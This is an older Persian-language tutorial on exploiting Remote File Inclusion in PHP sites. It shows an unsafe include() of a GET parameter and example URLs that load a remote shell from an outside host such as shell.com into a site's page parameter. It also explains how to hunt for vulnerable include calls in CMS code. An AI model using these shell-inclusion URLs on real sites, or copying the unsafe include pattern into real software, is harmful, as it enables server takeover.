به نام خدا

Remote File Inclusion

2009/08/05

نویسنده : سعید بستان دوست

www.ipsecure.ir

mr.cback@gmail.com

1- چگونه آسیب پذیری را پیدا کنیم؟

اول از همه باید بهتون بگم که اینو باگ ها در توابعی چون

include()
include_once()
require()
require_once()

وجود دارد و میشه از طریق این توابع فایل حاوی شل رو فراخوانی کرد

برای مثال سایت :

http://example.com/index.php?page=news.php

همانطور که می بینید صفحه Index.php **میاد و صفحه** news.php **رو فراخوانی میکنه**

حال اگر در توابع از دستور defined(_VALID_MOS) **استفاده شده باشه**

دیگر ما اجازه فراخوانی فایل بجز news.php **رو نداریم**

اگر نبود که شما میتونید شل خودتون رو بزارید و .....

http://example.com/index.php?page=http://shell.com/shell.php?

حالا مبحث بعدی ما global_register **هست**

راه دور نمیرم از یه مثال ساده استفاده میکنم

```
<?php
$check=$_GET['gets'];
@include($check);
?>
```

در اینجا میبینید که سایت اومده و هر متغیری رو برای ما مشخص کرده

و قرار دادی بین متغیر نیست

http://example.com/index.php?cback=[shell]

2- پیدا کردن آسیب پذیری در CMS ها

خوب برای اینکه ما یک حفره رو در یک CMS پیدا کنیم لازم هست که با کمی علم جلو بریم

این باگ ها اقلب به این صورت در CMS ها یافت می شوند

```
include($page.'.php');
include($id);
```

میبینید که سایت داره $page و $id رو به طریقی فراخوانی میکنه

حالا شما میتونید از این ها سواستفاده کنید و .....

```
http://example.com/index.php?page=[shell]
http://example.com/home.php?id=[shell]
```

برای پیدا کردن متغیر که include شده در CMS باید include(رو سرچ کنید و بگردید

3- فرق include با require چیست؟

فرقه خواسی ندارن هر دو فراخوانی میکنن

اگر صفحه ای با include پیدا نشه خطای Warning یا اخطار کوچکی رو به ما میده

ولی اگرصفحه ای که با require پیدا نشه خطای Fatal Error به ما میده که خطر جدی هست

موفق باشید